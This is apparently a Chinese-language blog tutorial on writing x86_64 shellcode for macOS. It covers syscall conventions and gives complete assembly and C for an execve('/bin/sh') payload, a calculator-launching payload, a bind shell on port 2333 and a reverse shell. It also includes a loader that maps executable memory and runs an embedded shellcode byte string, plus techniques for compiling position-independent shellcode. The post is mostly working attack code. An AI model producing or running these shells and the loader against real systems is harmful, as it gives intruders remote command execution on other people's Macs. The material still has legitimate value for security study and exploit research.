Shellcode on macOS

Oct 9, 2022|2022-12-26
巴斯.zznQ
type
Post
status
Published
date
Oct 9, 2022
slug
shellcode-on-macos
summary
tags
shellcode
macOS
category
技术文章
icon
password
notion image

系统调用

如何在汇编中使用系统调用,必须在寄存器 rax 中传递系统调用的编号,使用如下寄存器传递参数:
The number of the syscall has to be passed in register %rax. ; rdi - used to pass 1st argument to functions ; rsi - used to pass 2nd argument to functions ; rdx - used to pass 3rd argument to functions ; rcx - used to pass 4th argument to functions ; r8 - used to pass 5th argument to functions ; r9 - used to pass 6th argument to functions
macOS 已将系统调用号分成几个不同的“类别”,系统调用号的高位代表系统调用的类,分别如下:
; none 0 Invalid ; mach 1 Mach ; unix 2 Unix/BSD ; mdep 3 Machine-dependent ; diag 4 Diagnostics
在如下例子中 wirteexit 属于 Unix/BSD 因此高位是 2 每个 Unix 系统调用都是 0×2000000 + unix syscall (相应的系统调用 syscalls 中查找):
; helloworld.asm on macOS ; nasm -f macho64 helloworld.asm ; ld -macosx_version_min 10.14 -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib -lSystem -o helloworld helloworld.o BITS 64 global _main section .text _main: ; write mov rax, 0x2000004 mov rdi, 1 mov rsi, str mov rdx, str.len syscall ; exit mov rax, 0x2000001 xor rdi, rdi syscall section .data str: db "Hello World" .len: equ $-str
简单描述这段汇编代码:通过 wirte 将 str 写入 STDOUT(1) 后再退出。

命令执行

; nasm -f macho64 execve.asm ; ld -macosx_version_min 10.14 -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib -lSystem -o execve execve.o ; 参考文章:https://www.exploit-db.com/exploits/46397 BITS 64 global _main section .text _main: ; execve("//bin/sh", 0, 0) xor rax, rax ; rax = 0 mov al, 0x2 ; rax = 0x2 ror rax, 0x28 ; 左移 rax = 0x2000000 mov al, 0x3b ; rax=execve xor rdx, rdx ; rdx=0 xor rsi, rsi ; rsi = 0 mov rdi, '//bin/sh' push rdx push rdi push rsp pop rdi ; rdi = '//bin/sh' syscall ; rax=execve rdi='//bin/sh' rsi=0 rdx=0
稍微复杂点命令执行:
; nasm -f macho64 exec_calc.asm ; ld -macosx_version_min 10.14 -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib -lSystem -o exec_calc exec_calc.o BITS 64 global _main section .text _main: xor rax, rax mov al, 0x2 ; rax=0x2 ror rax, 0x28 ; 左移 rax=0x2000000 mov al, 0x3b ; rax=execve xor rdx, rdx ; rdx=0 mov rdi, '//bin/sh' push rdx push rdi push rsp pop rdi ; rdi='//bin/sh' mov rbx, '-c' push rdx push rbx push rsp pop rbx ; rbx='-c' ; open /System/Applications/Calculator.app ; open /Sy stem/App lication s/Calcul ator.app push rdx mov rcx, 'ator.app' push rcx mov rcx, 's/Calcul' push rcx mov rcx, 'lication' push rcx mov rcx, 'stem/App' push rcx mov rcx, 'open /Sy' push rcx push rsp pop rcx push rdx push rcx push rbx push rdi push rsp pop rsi ; rsi=['//bin/sh', '-c', 'open /System/Applications/Calculator.app'] syscall ; rax=execve rdi='//bin/sh' rsi=['//bin/sh', '-c', 'open /System/Applications/Calculator.app'] rdx=0

绑定Shell

先用 clang 实现一遍在Tcp 端口 2333 绑定Shell:
// clang -arch x86_64 bindshell.c -o bindshell #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> int main(void) { int srvfd; srvfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); struct sockaddr_in srv; srv.sin_family = AF_INET; srv.sin_port = 2333; srv.sin_addr.s_addr = INADDR_ANY; bind(srvfd, (struct sockaddr *)&srv, sizeof(srv)); listen(srvfd, 0); int clifd; clifd = accept(srvfd, NULL, NULL); dup2(clifd, 0); dup2(clifd, 1); dup2(clifd, 2); execve("/bin/sh", NULL, NULL); }
再用汇编实现:
; nasm -f macho64 bindshell.asm ; ld -macosx_version_min 10.14 -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib -lSystem -o bindshell bindshell.o BITS 64 global _main section .text _main: ; socket xor rax, rax mov al, 0x2 ; rax=0x2 ror rax, 0x28 ; 左移 rax=0x2000000 mov al, 0x61 ; rax=socket mov r8, rax xor rdx, rdx ; rdx = IPPROTO_IP(0) mov rsi, rdx inc rsi ; rsi = SOCK_STREAM(1) mov rdi, rsi ; inc rdi ; rdi = AF_INET(2) syscall ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP); mov r12, rax ; r12 = sfd ; sockaddr ; ip = 0.0.0.0 port = 2333 family = 2 xor r13, r13 xor r9, r9 add r13, 0x1D090101 mov r9b, 0xFF sub r13, r9 push r13 mov r13, rsp ; bind add r8, 0x7 mov rax, r8 ; rax = bind mov rdi, r12 ; rdi = sfd mov rsi, r13 ; rsi = sockaddr add rdx, 0x10 ; rdx = len(sockaddr_in) = 16 syscall ; listen add r8, 0x2 mov rax, r8 ; rax = listen mov rdi, r12 ; rdi = sfd xor rsi, rsi ; rsi = 0 syscall ; accept sub r8, 0x4C mov rax, r8 ; rax = accept mov rdi, r12 ; rdi = sfd xor rsi, rsi xor rdx, rdx syscall mov r14, rax ; r14 = cfd ; dup add r8, 0x3C xor rsi, rsi ; dup2(cfd, 0); ; dup2(cfd, 1); ; dup2(cfd, 2); dup: mov rax, r8 ; rax = dup2 mov rdi, r14 ; rdi = cfd syscall ; dup2(cfd, rsi) cmp rsi, 0x2 ; 是否小与2 ---- inc rsi ; rsi ++ | jbe dup ; 是跳转dup<---- ; exec sub r8, 0x1F mov rax, r8 xor rdx, rdx xor rsi, rsi mov r13, '//bin/sh' shr r13, 8 push r13 mov rdi, rsp ; rdi = '//bin/sh' syscall
写完后用 objdump -d bindshell 查看,code 中有 00 地方可以想怎么转换(好像也不需要转换😓)。
notion image

反弹Shell

参照绑定Shell.asm 将 bind、listen、accept 替换为 connect:
; nasm -f macho64 reverse_shell.asm ; ld -macosx_version_min 10.14 -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib -lSystem -o reverse_shell reverse_shell.o BITS 64 global _main section .text _main: ; socket xor rax, rax mov al, 0x2 ; rax=0x2 ror rax, 0x28 ; 左移 rax=0x2000000 mov al, 0x61 ; rax=socket mov r8, rax xor rdx, rdx ; rdx = IPPROTO_IP(0) mov rsi, rdx inc rsi ; rsi = SOCK_STREAM(1) mov rdi, rsi ; inc rdi ; rdi = AF_INET(2) syscall ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP); mov r12, rax ; r12 = sfd ; sockaddr ; ip = 0.0.0.0 port = 2333 family = 2 xor r13, r13 xor r9, r9 add r13, 0x1D090101 mov r9b, 0xFF sub r13, r9 push r13 mov r13, rsp ; connect inc r8 mov rax, r8 ; rax = connect mov rdi, r12 ; rdi = sfd mov rsi, r13 ; rsi = sockaddr add rdx, 0x10 ; rdx = len(sockaddr_in) = 16 syscall ; dup sub r8, 0x8 xor rsi, rsi ; dup2(cfd, 0); ; dup2(cfd, 1); ; dup2(cfd, 2); dup: mov rax, r8 ; rax = dup2 mov rdi, r12 ; rdi = cfd syscall ; dup2(cfd, rsi) cmp rsi, 0x2 ; 是否小与2 ---- inc rsi ; rsi ++ | jbe dup ; 是跳转dup<---- ; exec sub r8, 0x1F mov rax, r8 xor rdx, rdx xor rsi, rsi mov r13, '//bin/sh' shr r13, 8 push r13 mov rdi, rsp ; rdi = '//bin/sh' syscall
notion image

Shellcode loader

SimpleLoader.c

mmap 申请一块有 rwx 权限的内存,拷贝 shellcodesc()操作eip 指向shellcode执行。
// clang -arch x86_64 simple_loader.c -o simple_loader #include <stdio.h> #include <sys/mman.h> #include <string.h> #include <stdlib.h> int (*sc)(); // exec_calc shellcode char shellcode[] = "\x48\x31\xc0\xb0\x02\x48\xc1\xc8\x28\xb0\x3b\x48\x31\xd2\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x52\x57\x54\x5f\xbb\x2d\x63\x00\x00\x52\x53\x54\x5b\x52\x48\xb9\x61\x74\x6f\x72\x2e\x61\x70\x70\x51\x48\xb9\x73\x2f\x43\x61\x6c\x63\x75\x6c\x51\x48\xb9\x6c\x69\x63\x61\x74\x69\x6f\x6e\x51\x48\xb9\x73\x74\x65\x6d\x2f\x41\x70\x70\x51\x48\xb9\x6f\x70\x65\x6e\x20\x2f\x53\x79\x51\x54\x59\x52\x51\x53\x57\x54\x5e\x0f\x05"; int main(int argc, char **argv) { printf("Shellcode Length: %zd Bytes\n", strlen(shellcode)); // start:用户进程中要映射的用户空间的起始地址,通常为NULL(由内核来指定) // length:要映射的内存区域的大小 // prot:期望的内存保护标志 // flags:指定映射对象的类型 // fd:文件描述符(由open函数返回) // offset:设置在内核空间中已经分配好的的内存区域中的偏移,例如文件的偏移量,大小为PAGE_SIZE的整数倍 // 返回值:mmap()返回被映射区的指针,该指针就是需要映射的内核空间在用户空间的虚拟地址 void *ptr = mmap(0, 0x22, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0); if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } memcpy(ptr, shellcode, sizeof(shellcode)); sc = ptr; sc(); return 0; }

用C写编写Shellcode

用汇编逐行编写分析还是太耗费精力,所以决定学习 clang 编写生成 shellcode。
clang 中嵌入汇编的模版调用 execve syscall
int main() { char *args[3]; args[0] = "/bin/sh"; args[1] = 0; args[2] = 0; long long int ret = 0; int y = 0x200003b; asm("movq %4,%%rax;" "movq %1,%%rdi;" "mov %2,%%rsi;" "mov %3,%%rdx;" "syscall" : "=g"(ret) : "g"(args[0]), "g"(args[1]), "g"(args[2]), "g"(y)); return ret; }
编译 clang -arch x86_64 -o execve execve.c 运行没问题。
notion image
如何编译生成位置无关代码呢,clang 中的编译参数为 -shared 和 gcc 不同的gcc中的编译参数为 fpie fpic 等。
notion image
再次编译发现有很多这些 __stubs stack 栈相关的调用,-fno-stack-protector 使用参数将其消除。
现在的编译命令成这样了clang -arch x86_64 -shared -fno-stack-protector -o execve.a execve.c ,但 objdump 出来的 shellcode 还是不能用,这里 /bin/sh 放在 section __cstring 下:
notion image
shellcode 中不能存在这种绝对地址引用,想让/bin/sh 字符串引用生效可以将其放到栈上,所以我改成如下写法:
int main() { char *args[3]; char s[8]; s[0] = '/'; s[1] = 'b'; s[2] = 'i'; s[3] = 'n'; s[4] = '/'; s[5] = 's'; s[6] = 'h'; s[7] = 0; args[0] = s; args[1] = 0; args[2] = 0; long long int ret = 0; int y = 0x200003b; asm("movq %4,%%rax;" "movq %1,%%rdi;" "mov %2,%%rsi;" "mov %3,%%rdx;" "syscall" : "=g"(ret) : "g"(args[0]), "g"(args[1]), "g"(args[2]), "g"(y)); return ret; }
用 simple_loader 测试一下:
notion image

后续

相关源码都更新到了 mach101 仓库下:
后面遇到一些有趣的 shellcode on macOS 仍然会持续更新到此文章中。

参考文章

 
SoxHelperBadUSB on macOS